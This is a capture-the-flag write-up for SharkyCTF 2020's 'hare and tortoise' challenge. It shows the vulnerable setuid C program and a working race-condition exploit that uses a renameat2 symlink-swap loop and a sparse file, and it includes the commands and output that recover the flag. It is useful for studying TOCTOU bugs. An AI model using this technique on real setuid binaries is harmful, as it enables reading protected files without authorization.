SharkyCTF 2020 The hare and the tortoise write-up
This weekend, with my team, I participated to Sharky CTF. We ended up 12th. Here is my write-up for the hare and the tortoise:
I’m doing a writeup for this one because I didn’t take the intended route to solve it so it might be interesting to share.
Description:
Do you know Jean de La Fontaine? A friend of mine created a program mimicking the hare and the tortoise. He told me that smart tortoises always wins. I want you to be that tortoise.
Connect with ssh tortoise@172.30.0.2. Password : tortoise.
Creator : Nofix
Attached is an OpenVPN config which gives access to a private network from which we can reach the server.
Solution
After connecting to the server (@172.30.0.2), in the home directory there are some files:
tortoise@the_hare_and_the_tortoise$ ls -l
-r-------- 1 hare hare 77 May 11 09:04 flag.txt
-r--r--r-- 1 root root 2360 May 11 09:04 main.c
-r--r--r-- 1 root root 687 May 11 09:04 semaphores.h
-r-sr-xr-x 1 hare hare 2754 May 11 09:04 the_hare_and_the_tortoise
Only the hare
user has access to the flag (stored in flag.txt
), and there’s a suid binary that I guess was compiled from the source code in main.c
.
Here is the source code:
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <time.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <sys/ipc.h>
#include "semaphores.h"
// The Hare and the Tortoise
#define handle_error(msg) \
do { perror(msg); exit(EXIT_FAILURE); } while (0)
pid_t ppid;
int sem = -1;
char* sem_name;
char temp_dir[60] = {0};
char lock = 0;
char ppid_dir[30] = {0};
void cleanup(){
if(sem != -1){
SEM_DEL(sem);
}
rmdir(ppid_dir);
rmdir(sem_name);
}
void sigint_handler(int signo){
cleanup();
exit(1);
}
void alarm_handler(int signo){
cleanup();
kill(ppid, SIGKILL);
exit(1);
}
void random_string(){
/* Only one execution should be allowed per term */
sprintf(ppid_dir, "/tmp/%d", getppid());
if(mkdir(ppid_dir, 0700) == -1){
puts("There is no need for bruteforce");
exit(1);
}
sprintf(temp_dir, "/tmp/%d/XXXXXX", getppid());
sem_name = mkdtemp(temp_dir);
if(sem_name == NULL){ perror("mkdtemp failed: "); exit(1); }
}
int main(int argc, char** argv){
if(argc != 2){
printf("Usage : %s <file to read>\n", argv[0]);
exit(1);
}
atexit(cleanup);
signal(SIGINT, sigint_handler);
signal(SIGALRM, alarm_handler);
random_string();
sem = semget(ftok(sem_name, 1337 & 1), 1, IPC_CREAT | IPC_EXCL | 0600);
if(sem == -1) handle_error("semget");
SEM_SET(sem, 1);
int hare = open (argv[1], O_RDONLY);
int tortoise = open (argv[1], O_RDONLY);
if(hare == -1 || tortoise == -1) handle_error("open");
ppid = getpid();
int pid;
pid = fork();
int cnt = 0;
if(pid == 0) { // The hare
puts("The hare says : \"Do you ever get anywhere?\"");
char c;
int y = 1;
while(y == 1){
SEM_WAIT(sem);
y = read(hare, &c, sizeof(char));
if(y == -1){ alarm(0.1);handle_error("read"); }
usleep(100 * 750);
SEM_POST(sem);
}
puts("The hare says : \"Hurry up tortoise !\"");
alarm(5);
sleep(10);
} else { // The tortoise
char c;
int y = 1;
while(y == 1){
SEM_WAIT(sem);
y = read(tortoise, &c, sizeof(char));
printf("The tortoise, progressing slowly... : \"%c\"\n", c);
if(y == -1){ handle_error("read"); }
SEM_POST(sem);
sleep(1);
}
puts("Slow but steady wins the race!");
}
}
As you can see, a “hare” process is created (as a child) of the “tortoise” process. The “tortoise” process starts to read the file passed by argv[1]
(the first argument). However, the hare process, after reading the same file a lot more quicker, sends a SIGALARM
signal preventing the “tortoise” process from finishing.
$ ~/the_hare_and_the_tortoise ~/flag.txt
The tortoise, progressing slowly... : "s"
The hare says : "Do you ever get anywhere?"
The tortoise, progressing slowly... : "h"
The tortoise, progressing slowly... : "k"
The tortoise, progressing slowly... : "C"
The tortoise, progressing slowly... : "T"
The tortoise, progressing slowly... : "F"
The hare says : "Hurry up tortoise !"
The tortoise, progressing slowly... : "{"
The tortoise, progressing slowly... : "r"
The tortoise, progressing slowly... : "4"
The tortoise, progressing slowly... : "c"
Killed
After trying to understand how system V semaphores worked and not understanding anything, I fell back to a simpler solution: The “hare” and “tortoise” process each have their own file descriptor. The idea is to have the “hare” and “tortoise” process open different files. The “hare” process would open a very large file which will take time to be read, allowing the “tortoise” process to have the time to read flag.txt
.
The solution I took is based on a video from liveoverflow, which I had watched earlier this year.
I compiled the following code:
#define _GNU_SOURCE
#define _POSIX_C_SOURCE 200809L
#define _ATFILE_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <linux/fs.h>
#include <sys/syscall.h>
int main() {
while (1) {
syscall(SYS_renameat2, AT_FDCWD, "flag", AT_FDCWD, "sparse", RENAME_EXCHANGE);
}
}
and then created a large file “sparse”, and a symlink to the flag inside of my working directory in /tmp
.
ln -s ~/flag.txt flag
truncate -s 10G sparse
A sparse file is a file that doesn’t take space on disk (think of it like compression (I feel like some people will hate me for this definition)).
The racing.c
program will swap the flag
symlink and sparse
file thousands of times a seconds and hopefully, when the file descriptor is opened for the “hare”, the sparse file will be the one having the name flag
and the when the tortoise opens the file, the symlink to ~/flag.txt
.
In one terminal, I ran the racing program that switches the files:
gcc racing.c
./a.out
And in another, I ran the suid binary on flag
.
$ ~/the_hare_and_the_tortoise flag
The tortoise, progressing slowly... : ""
The hare says : "Do you ever get anywhere?"
The tortoise, progressing slowly... : ""
The tortoise, progressing slowly... : ""
The tortoise, progressing slowly... : ""
The tortoise, progressing slowly... : ""
The tortoise, progressing slowly... : ""
The tortoise, progressing slowly... : ""
$ ~/the_hare_and_the_tortoise flag
The tortoise, progressing slowly... : ""
The hare says : "Do you ever get anywhere?"
The tortoise, progressing slowly... : ""
The tortoise, progressing slowly... : ""
The tortoise, progressing slowly... : ""
The tortoise, progressing slowly... : ""
The tortoise, progressing slowly... : ""
The tortoise, progressing slowly... : ""
$ ~/the_hare_and_the_tortoise flag
The tortoise, progressing slowly... : "s"
The hare says : "Do you ever get anywhere?"
The tortoise, progressing slowly... : "h"
The tortoise, progressing slowly... : "k"
The tortoise, progressing slowly... : "C"
The tortoise, progressing slowly... : "T"
The tortoise, progressing slowly... : "F"
The tortoise, progressing slowly... : "{"
The tortoise, progressing slowly... : "r"
The tortoise, progressing slowly... : "4"
The tortoise, progressing slowly... : "c"
The tortoise, progressing slowly... : "3"
The tortoise, progressing slowly... : "5"
The tortoise, progressing slowly... : "_"
The tortoise, progressing slowly... : "4"
The tortoise, progressing slowly... : "r"
The tortoise, progressing slowly... : "3"
The tortoise, progressing slowly... : "_"
The tortoise, progressing slowly... : "3"
The tortoise, progressing slowly... : "a"
The tortoise, progressing slowly... : "s"
The tortoise, progressing slowly... : "i"
The tortoise, progressing slowly... : "3"
The tortoise, progressing slowly... : "r"
The tortoise, progressing slowly... : "_"
The tortoise, progressing slowly... : "w"
The tortoise, progressing slowly... : "h"
The tortoise, progressing slowly... : "3"
The tortoise, progressing slowly... : "n"
The tortoise, progressing slowly... : "_"
The tortoise, progressing slowly... : "y"
The tortoise, progressing slowly... : "0"
The tortoise, progressing slowly... : "u"
The tortoise, progressing slowly... : "_"
The tortoise, progressing slowly... : "4"
The tortoise, progressing slowly... : "r"
The tortoise, progressing slowly... : "3"
The tortoise, progressing slowly... : "_"
The tortoise, progressing slowly... : "a"
The tortoise, progressing slowly... : "l"
The tortoise, progressing slowly... : "0"
The tortoise, progressing slowly... : "n"
The tortoise, progressing slowly... : "e"
The tortoise, progressing slowly... : "_"
The tortoise, progressing slowly... : "6"
The tortoise, progressing slowly... : "a"
The tortoise, progressing slowly... : "2"
The tortoise, progressing slowly... : "6"
The tortoise, progressing slowly... : "a"
The tortoise, progressing slowly... : "2"
The tortoise, progressing slowly... : "6"
The tortoise, progressing slowly... : "c"
The tortoise, progressing slowly... : "5"
The tortoise, progressing slowly... : "7"
The tortoise, progressing slowly... : "f"
The tortoise, progressing slowly... : "0"
The tortoise, progressing slowly... : "0"
The tortoise, progressing slowly... : "1"
The tortoise, progressing slowly... : "2"
The tortoise, progressing slowly... : "e"
The tortoise, progressing slowly... : "d"
The tortoise, progressing slowly... : "6"
The tortoise, progressing slowly... : "6"
The tortoise, progressing slowly... : "a"
The tortoise, progressing slowly... : "b"
The tortoise, progressing slowly... : "8"
The tortoise, progressing slowly... : "c"
The tortoise, progressing slowly... : "2"
The tortoise, progressing slowly... : "0"
The tortoise, progressing slowly... : "e"
The tortoise, progressing slowly... : "5"
The tortoise, progressing slowly... : "3"
The tortoise, progressing slowly... : "8"
The tortoise, progressing slowly... : "a"
The tortoise, progressing slowly... : "0"
The tortoise, progressing slowly... : "4"
The tortoise, progressing slowly... : "}"
The tortoise, progressing slowly... : "}"
Slow but steady wins the race!
After multiple tries, the tortoise opened the symlink to flag.txt
instead of the sparse file and I was able to transform the lines into a flag:
shkCTF{r4c35_4r3_3asi3r_wh3n_y0u_4r3_al0ne_6a26a26c57f0012ed66ab8c20e538a04}
Thank you to seanjpagano, for your writeup which I used in order to get the files.